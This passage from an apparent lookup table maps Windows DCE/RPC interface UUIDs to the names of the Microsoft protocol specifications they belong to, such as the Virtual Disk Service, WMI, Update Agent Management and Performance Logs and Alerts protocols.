'82AD4280-036B-11CF-972C-00AA006887B0':'[MS-IRP]: Internet Information Services (IIS) Inetinfo Remote',
'4E65A71E-4EDE-4886-BE67-3C90A08D1F29':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'866A78BC-A2FB-4AC4-94D5-DB3041B4ED75':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'B0D1AC4B-F87A-49B2-938F-D439248575B2':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'E141FD54-B79E-4938-A6BB-D523C3D49FF1':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'40CC8569-6D23-4005-9958-E37F08AE192B':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'1822A95E-1C2B-4D02-AB25-CC116DD9DBDE':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'B4FA8E86-2517-4A88-BD67-75447219EEE4':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'3C73848A-A679-40C5-B101-C963E67F9949':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'66C9B082-7794-4948-839A-D8A5A616378F':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'01454B97-C6A5-4685-BEA8-9779C88AB990':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'D6BD6D63-E8CB-4905-AB34-8A278C93197A':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'348A0821-69BB-4889-A101-6A9BDE6FA720':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'703E6B03-7AD1-4DED-BA0D-E90496EBC5DE':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'100DA538-3F4A-45AB-B852-709148152789':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'592381E5-8D3C-42E9-B7DE-4E77A1F75AE4':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'883343F1-CEED-4E3A-8C1B-F0DADFCE281E':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'6AEA6B26-0680-411D-8877-A148DF3087D5':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'D71B2CAE-33E8-4567-AE96-3CCF31620BE2':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'8C58F6B3-4736-432A-891D-389DE3505C7C':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'1995785D-2A1E-492F-8923-E621EACA39D9':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'C10A76D8-1FE4-4C2F-B70D-665265215259':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'8D7AE740-B9C5-49FC-A11E-89171907CB86':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'8AD608A4-6C16-4405-8879-B27910A68995':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'B0076FEC-A921-4034-A8BA-090BC6D03BDE':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'640038F1-D626-40D8-B52B-09660601D045':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'BB39E296-AD26-42C5-9890-5325333BB11E':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'B06A64E3-814E-4FF9-AFAC-597AD32517C7':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'A5ECFC73-0013-4A9E-951C-59BF9735FDDA':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'1396DE6F-A794-4B11-B93F-6B69A5B47BAE':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'DD6F0A28-248F-4DD3-AFE9-71AED8F685C4':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'52BA97E7-9364-4134-B9CB-F8415213BDD8':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'E2842C88-07C3-4EB0-B1A9-D3D95E76FEF2':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'312CC019-D5CD-4CA7-8C10-9E0A661F147E':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'345B026B-5802-4E38-AC75-795E08B0B83F':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'442931D5-E522-4E64-A181-74E98A4E1748':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'1B1C4D1C-ABC4-4D3A-8C22-547FBA3AA8A0':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'56E65EA5-CDFF-4391-BA76-006E42C2D746':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'E645744B-CAE5-4712-ACAF-13057F7195AF':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'FE7F99F9-1DFB-4AFB-9D00-6A8DD0AABF2C':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'81FE3594-2495-4C91-95BB-EB5785614EC7':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'F093FE3D-8131-4B73-A742-EF54C20B337B':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'28BC8D5E-CA4B-4F54-973C-ED9622D2B3AC':'[MS-ISTM]: iSCSI Software Target Management Protocol',
'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAD]: Local Security Authority (Domain Policy) Remote Protocol',
'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAT]: Local Security Authority (Translation Methods) Remote',
'708CCA10-9569-11D1-B2A5-0060977D8118':'[MS-MQDS]: Message Queuing (MSMQ):',
'77DF7A80-F298-11D0-8358-00A024C480A8':'[MS-MQDS]: Message Queuing (MSMQ):',
'76D12B80-3467-11D3-91FF-0090272F9EA3':'[MS-MQMP]: Message Queuing (MSMQ):',
'FDB3A030-065F-11D1-BB9B-00A024EA5525':'[MS-MQMP]: Message Queuing (MSMQ):',
'41208EE0-E970-11D1-9B9E-00E02C064C39':'[MS-MQMR]: Message Queuing (MSMQ):',
'1088A980-EAE5-11D0-8D9B-00A02453C337':'[MS-MQQP]: Message Queuing (MSMQ):',
'1A9134DD-7B39-45BA-AD88-44D01CA47F28':'[MS-MQRR]: Message Queuing (MSMQ):',
'17FDD703-1827-4E34-79D4-24A55C53BB37':'[MS-MSRP]: Messenger Service Remote Protocol',
'12345678-1234-ABCD-EF00-01234567CFFB':'[MS-NRPC]: Netlogon Remote Protocol',
'00020411-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
'00020401-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
'00020403-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
'00020412-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
'00020402-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
'00020400-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
'00020404-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',
'784B693D-95F3-420B-8126-365C098659F2':'[MS-OCSPA]: Microsoft OCSP Administration Protocol',
'AE33069B-A2A8-46EE-A235-DDFD339BE281':'[MS-PAN]: Print System Asynchronous Notification Protocol',
'0B6EDBFA-4A24-4FC6-8A23-942B1ECA65D1':'[MS-PAN]: Print System Asynchronous Notification Protocol',
'76F03F96-CDFD-44FC-A22C-64950A001209':'[MS-PAR]: Print System Asynchronous Remote Protocol',
'DA5A86C5-12C2-4943-AB30-7F74A813D853':'[MS-PCQ]: Performance Counter Query Protocol',
'03837510-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837543-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837533-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837541-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837544-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837524-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'0383753A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837534-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'0383750B-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'0383751A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837512-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'0383753D-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837506-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837520-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'038374FF-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837514-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837502-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'03837516-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',
'0B1C2170-5732-4E0E-8CD3-D9B16F3B84D7':'[MS-RAA]: Remote Authorization API Protocol',
'F120A684-B926-447F-9DF4-C966CB785648':'[MS-RAI]: Remote Assistance Initiation Protocol',
'833E4010-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',
'833E4200-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',
'3C3A70A7-A468-49B9-8ADA-28E11FCCAD5D':'[MS-RAI]: Remote Assistance Initiation Protocol',
'833E4100-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',
'833E41AA-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',
'C323BE28-E546-4C23-A81B-D6AD8D8FAC7B':'[MS-RAINPS]: Remote Administrative Interface:',
'83E05BD5-AEC1-4E58-AE50-E819C7296F67':'[MS-RAINPS]: Remote Administrative Interface:',
'45F52C28-7F9F-101A-B52B-08002B2EFABE':'[MS-RAIW]: Remote Administrative Interface:',
'811109BF-A4E1-11D1-AB54-00A0C91E9B45':'[MS-RAIW]: Remote Administrative Interface:',
'A35AF600-9CF4-11CD-A076-08002B2BD711':'[MS-RDPESC]: Remote Desktop Protocol:',
'12345678-1234-ABCD-EF00-0123456789AB':'[MS-RPRN]: Print System Remote Protocol',
'20610036-FA22-11CF-9823-00A0C911E5DF':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
'8F09F000-B7ED-11CE-BBD2-00001A181CAD':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',
'338CD001-2244-31F1-AAAA-900038001003':'[MS-RRP]: Windows Remote Registry Protocol',
'3BBED8D9-2C9A-4B21-8936-ACB2F995BE6C':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'8DA03F40-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'D61A27C6-8F53-11D0-BFA0-00A024151983':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'081E7188-C080-4FF3-9238-29F66D6CABFD':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'895A2C86-270D-489D-A6C0-DC2A9B35280E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'D02E4BE0-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'DB90832F-6910-4D46-9F5E-9FD6BFA73903':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'4E934F30-341A-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'879C8BBE-41B0-11D1-BE11-00C04FB6BF70':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'00000000-0000-0000-C000-000000000046':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'69AB7050-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'7D07F313-A53F-459A-BB12-012C15B1846E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'BB39332C-BFEE-4380-AD8A-BADC8AFF5BB6':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'B057DC50-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',
'338CD001-2244-31F1-AAAA-900038001003':'[MS-RSP]: Remote Shutdown Protocol',
'894DE0C0-0D55-11D3-A322-00C04FA321A1':'[MS-RSP]: Remote Shutdown Protocol',
'D95AFE70-A6D5-4259-822E-2C84DA1DDB0D':'[MS-RSP]: Remote Shutdown Protocol',
'12345778-1234-ABCD-EF00-0123456789AC':'[MS-SAMR]: Security Account Manager (SAM) Remote Protocol',
'01954E6B-9254-4E6E-808C-C9E05D007696':'[MS-SCMP]: Shadow Copy Management Protocol',
'FA7DF749-66E7-4986-A27F-E2F04AE53772':'[MS-SCMP]: Shadow Copy Management Protocol',
'214A0F28-B737-4026-B847-4F9E37D79529':'[MS-SCMP]: Shadow Copy Management Protocol',
'AE1C7110-2F60-11D3-8A39-00C04F72D8E3':'[MS-SCMP]: Shadow Copy Management Protocol',
'367ABB81-9844-35F1-AD32-98F038001003':'[MS-SCMR]: Service Control Manager Remote Protocol',
'4B324FC8-1670-01D3-1278-5A47BF6EE188':'[MS-SRVS]: Server Service Remote Protocol',
'CCD8C074-D0E5-4A40-92B4-D074FAA6BA28':'[MS-SWN]: Service Witness Protocol',
'00000000-0000-0000-C000-000000000046':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',
'112B1DFF-D9DC-41F7-869F-D67FEE7CB591':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',
'1A1BB35F-ABB8-451C-A1AE-33D98F1BEF4A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',
'2F5F6521-CA47-1068-B319-00DD010662DB':'[MS-TRP]: Telephony Remote Protocol',
'2F5F6520-CA46-1067-B319-00DD010662DA':'[MS-TRP]: Telephony Remote Protocol',
'1FF70682-0A51-30E8-076D-740BE8CEE98B':'[MS-TSCH]: Task Scheduler Service Remoting Protocol',
'378E52B0-C0A9-11CF-822D-00AA0051E40F':'[MS-TSCH]: Task Scheduler Service Remoting Protocol',
'86D35949-83C9-4044-B424-DB363231FD0C':'[MS-TSCH]: Task Scheduler Service Remoting Protocol',
'44E265DD-7DAF-42CD-8560-3CDB6E7A2729':'[MS-TSGU]: Terminal Services Gateway Server Protocol',
'034634FD-BA3F-11D1-856A-00A0C944138C':'[MS-TSRAP]: Telnet Server Remote Administration Protocol',
'497D95A6-2D27-4BF5-9BBD-A6046957133C':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
'11899A43-2B68-4A76-92E3-A3D6AD8C26CE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
'5CA4A760-EBB1-11CF-8611-00A0245420ED':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
'BDE95FDF-EEE0-45DE-9E12-E5A61CD0D4FE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
'484809D6-4239-471B-B5BC-61DF8C23AC48':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
'88143FD0-C28D-4B2B-8FEF-8D882F6A9390':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
'53B46B02-C73B-4A3E-8DEE-B16B80672FC0':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',
'DDE02280-12B3-4E0B-937B-6747F6ACB286':'[MS-UAMG]: Update Agent Management Protocol',
'112EDA6B-95B3-476F-9D90-AEE82C6B8181':'[MS-UAMG]: Update Agent Management Protocol',
'144FE9B0-D23D-4A8B-8634-FB4457533B7A':'[MS-UAMG]: Update Agent Management Protocol',
'70CF5C82-8642-42BB-9DBC-0CFD263C6C4F':'[MS-UAMG]: Update Agent Management Protocol',
'49EBD502-4A96-41BD-9E3E-4C5057F4250C':'[MS-UAMG]: Update Agent Management Protocol',
'7C907864-346C-4AEB-8F3F-57DA289F969F':'[MS-UAMG]: Update Agent Management Protocol',
'46297823-9940-4C09-AED9-CD3EA6D05968':'[MS-UAMG]: Update Agent Management Protocol',
'4CBDCB2D-1589-4BEB-BD1C-3E582FF0ADD0':'[MS-UAMG]: Update Agent Management Protocol',
'8F45ABF1-F9AE-4B95-A933-F0F66E5056EA':'[MS-UAMG]: Update Agent Management Protocol',
'6A92B07A-D821-4682-B423-5C805022CC4D':'[MS-UAMG]: Update Agent Management Protocol',
'54A2CB2D-9A0C-48B6-8A50-9ABB69EE2D02':'[MS-UAMG]: Update Agent Management Protocol',
'0D521700-A372-4BEF-828B-3D00C10ADEBD':'[MS-UAMG]: Update Agent Management Protocol',
'C2BFB780-4539-4132-AB8C-0A8772013AB6':'[MS-UAMG]: Update Agent Management Protocol',
'1518B460-6518-4172-940F-C75883B24CEB':'[MS-UAMG]: Update Agent Management Protocol',
'81DDC1B8-9D35-47A6-B471-5B80F519223B':'[MS-UAMG]: Update Agent Management Protocol',
'BC5513C8-B3B8-4BF7-A4D4-361C0D8C88BA':'[MS-UAMG]: Update Agent Management Protocol',
'C1C2F21A-D2F4-4902-B5C6-8A081C19A890':'[MS-UAMG]: Update Agent Management Protocol',
'07F7438C-7709-4CA5-B518-91279288134E':'[MS-UAMG]: Update Agent Management Protocol',
'C97AD11B-F257-420B-9D9F-377F733F6F68':'[MS-UAMG]: Update Agent Management Protocol',
'3A56BFB8-576C-43F7-9335-FE4838FD7E37':'[MS-UAMG]: Update Agent Management Protocol',
'615C4269-7A48-43BD-96B7-BF6CA27D6C3E':'[MS-UAMG]: Update Agent Management Protocol',
'004C6A2B-0C19-4C69-9F5C-A269B2560DB9':'[MS-UAMG]: Update Agent Management Protocol',
'7366EA16-7A1A-4EA2-B042-973D3E9CD99B':'[MS-UAMG]: Update Agent Management Protocol',
'A376DD5E-09D4-427F-AF7C-FED5B6E1C1D6':'[MS-UAMG]: Update Agent Management Protocol',
'23857E3C-02BA-44A3-9423-B1C900805F37':'[MS-UAMG]: Update Agent Management Protocol',
'B383CD1A-5CE9-4504-9F63-764B1236F191':'[MS-UAMG]: Update Agent Management Protocol',
'76B3B17E-AED6-4DA5-85F0-83587F81ABE3':'[MS-UAMG]: Update Agent Management Protocol',
'0BB8531D-7E8D-424F-986C-A0B8F60A3E7B':'[MS-UAMG]: Update Agent Management Protocol',
'91CAF7B0-EB23-49ED-9937-C52D817F46F7':'[MS-UAMG]: Update Agent Management Protocol',
'673425BF-C082-4C7C-BDFD-569464B8E0CE':'[MS-UAMG]: Update Agent Management Protocol',
'EFF90582-2DDC-480F-A06D-60F3FBC362C3':'[MS-UAMG]: Update Agent Management Protocol',
'D9A59339-E245-4DBD-9686-4D5763E39624':'[MS-UAMG]: Update Agent Management Protocol',
'9B0353AA-0E52-44FF-B8B0-1F7FA0437F88':'[MS-UAMG]: Update Agent Management Protocol',
'503626A3-8E14-4729-9355-0FE664BD2321':'[MS-UAMG]: Update Agent Management Protocol',
'85713FA1-7796-4FA2-BE3B-E2D6124DD373':'[MS-UAMG]: Update Agent Management Protocol',
'816858A4-260D-4260-933A-2585F1ABC76B':'[MS-UAMG]: Update Agent Management Protocol',
'27E94B0D-5139-49A2-9A61-93522DC54652':'[MS-UAMG]: Update Agent Management Protocol',
'E7A4D634-7942-4DD9-A111-82228BA33901':'[MS-UAMG]: Update Agent Management Protocol',
'D40CFF62-E08C-4498-941A-01E25F0FD33C':'[MS-UAMG]: Update Agent Management Protocol',
'ED8BFE40-A60B-42EA-9652-817DFCFA23EC':'[MS-UAMG]: Update Agent Management Protocol',
'A7F04F3C-A290-435B-AADF-A116C3357A5C':'[MS-UAMG]: Update Agent Management Protocol',
'4A2F5C31-CFD9-410E-B7FB-29A653973A0F':'[MS-UAMG]: Update Agent Management Protocol',
'BE56A644-AF0E-4E0E-A311-C1D8E695CBFF':'[MS-UAMG]: Update Agent Management Protocol',
'918EFD1E-B5D8-4C90-8540-AEB9BDC56F9D':'[MS-UAMG]: Update Agent Management Protocol',
'04C6895D-EAF2-4034-97F3-311DE9BE413A':'[MS-UAMG]: Update Agent Management Protocol',
'15FC031C-0652-4306-B2C3-F558B8F837E2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'4DBCEE9A-6343-4651-B85F-5E75D74D983C':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'1E062B84-E5E6-4B4B-8A25-67B81E8F13E8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'2ABD757F-2851-4997-9A13-47D2A885D6CA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'9CBE50CA-F2D2-4BF4-ACE1-96896B729625':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'4DAA0135-E1D1-40F1-AAA5-3CC1E53221C3':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'3858C0D5-0F35-4BF5-9714-69874963BC36':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'40F73C8B-687D-4A13-8D96-3D7F2E683936':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'8F4B2F5D-EC15-4357-992F-473EF10975B9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'FC5D23E8-A88B-41A5-8DE0-2D2F73C5A630':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'B07FEDD4-1682-4440-9189-A39B55194DC5':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'72AE6713-DCBB-4A03-B36B-371F6AC6B53D':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'B6B22DA8-F903-4BE7-B492-C09D875AC9DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'538684E0-BA3D-4BC0-ACA9-164AFF85C2A9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'75C8F324-F715-4FE3-A28E-F9011B61A4A1':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'90681B1D-6A7F-48E8-9061-31B7AA125322':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'9882F547-CFC3-420B-9750-00DFBEC50662':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'83BFB87F-43FB-4903-BAA6-127F01029EEC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'EE2D5DED-6236-4169-931D-B9778CE03DC6':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'9723F420-9355-42DE-AB66-E31BB15BEEAC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'4AFC3636-DB01-4052-80C3-03BBCB8D3C69':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'D99BDAAE-B13A-4178-9FDB-E27F16B4603E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'D68168C9-82A2-4F85-B6E9-74707C49A58F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'13B50BFF-290A-47DD-8558-B7C58DB1A71A':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'6E6F6B40-977C-4069-BDDD-AC710059F8C0':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'9AA58360-CE33-4F92-B658-ED24B14425B8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'E0393303-90D4-4A97-AB71-E9B671EE2729':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'07E5C822-F00C-47A1-8FCE-B244DA56FD06':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'8326CD1D-CF59-4936-B786-5EFC08798E25':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'1BE2275A-B315-4F70-9E44-879B3A2A53F2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'0316560B-5DB4-4ED9-BBB5-213436DDC0D9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'14FBE036-3ED7-4E10-90E9-A5FF991AFF01':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'3B69D7F5-9D94-4648-91CA-79939BA263BF':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'D5D23B6D-5A55-4492-9889-397A3C2D2DBC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'88306BB2-E71F-478C-86A2-79DA200A0F11':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'118610B7-8D94-4030-B5B8-500889788E4E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'0AC13689-3134-47C6-A17C-4669216801BE':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'0818A8EF-9BA9-40D8-A6F9-E22833CC771E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'6788FAF9-214E-4B85-BA59-266953616E09':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'B481498C-8354-45F9-84A0-0BDD2832A91F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'10C5E575-7984-4E81-A56B-431F5F92AE42':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'38A0A9AB-7CC8-4693-AC07-1F28BD03C3DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',
'8FB6D884-2388-11D0-8C35-00C04FDA2795':'[MS-W32T]: W32Time Remote Protocol',
'5422FD3A-D4B8-4CEF-A12E-E87D4CA22E90':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol',
'D99E6E70-FC88-11D0-B498-00A0C90312F3':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol',
'1A927394-352E-4553-AE3F-7CF4AAFCA620':'[MS-WDSC]: Windows Deployment Services Control Protocol',
'6BFFD098-A112-3610-9833-46C3F87E345A':'[MS-WKST]: Workstation Service Remote Protocol',
'F1E9C5B2-F59B-11D2-B362-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'423EC01E-2E35-11D2-B604-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'9556DC99-828C-11CF-A37E-00AA003240C7':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'F309AD18-D86A-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'9A653086-174F-11D2-B5F9-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'D4781CD6-E5D3-44DF-AD94-930EFE48A887':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'44ACA674-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'541679AB-2E5F-11D3-B34E-00104BCC4B4A':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'027947E1-D731-11CE-A357-000000000001':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'A359DEC5-E813-4834-8A2A-BA7F1D777D76':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'C49E32C6-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'C49E32C7-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'2C9273E0-1DC3-11D3-B364-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'7C857801-7381-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'DC12A681-737F-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'8BC3F05E-D86B-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'44ACA675-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'1C1C45EE-4395-11D2-B60B-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'674B6698-EE92-11D0-AD71-00C04FD8FDFF':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',
'FC910418-55CA-45EF-B264-83D4CE7D30E0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'C5CEBEE2-9DF5-4CDD-A08C-C2471BC144B4':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'F31931A9-832D-481C-9503-887A0E6A79F0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'21546AE8-4DA5-445E-987F-627FEA39C5E8':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'BC681469-9DD9-4BF4-9B3D-709F69EFE431':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'4F7CA01C-A9E5-45B6-B142-2332A1339C1D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'2A3EB639-D134-422D-90D8-AAA1B5216202':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'59602EB6-57B0-4FD8-AA4B-EBF06971FE15':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'481E06CF-AB04-4498-8FFE-124A0A34296D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'E8BCFFAC-B864-4574-B2E8-F1FB21DFDC18':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'943991A5-B3FE-41FA-9696-7F7B656EE34B':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',
'BBA9CB76-EB0C-462C-AA1B-5D8C34415701':'[MS-ADTS]: Active Directory Technical Specification',
'906B0CE0-C70B-1067-B317-00DD010662DA':'[MS-CMPO]: MSDTC Connection Manager:',
'E3514235-4B06-11D1-AB04-00C04FC2DCD2':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol',
'F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C':'[MS-EVEN6]: EventLog Remoting Protocol',
'D049B186-814F-11D1-9A3C-00C04FC9B232':'[MS-FRS1]: File Replication Service Protocol',
'F5CC59B4-4264-101A-8C59-08002B2F8426':'[MS-FRS1]: File Replication Service Protocol',
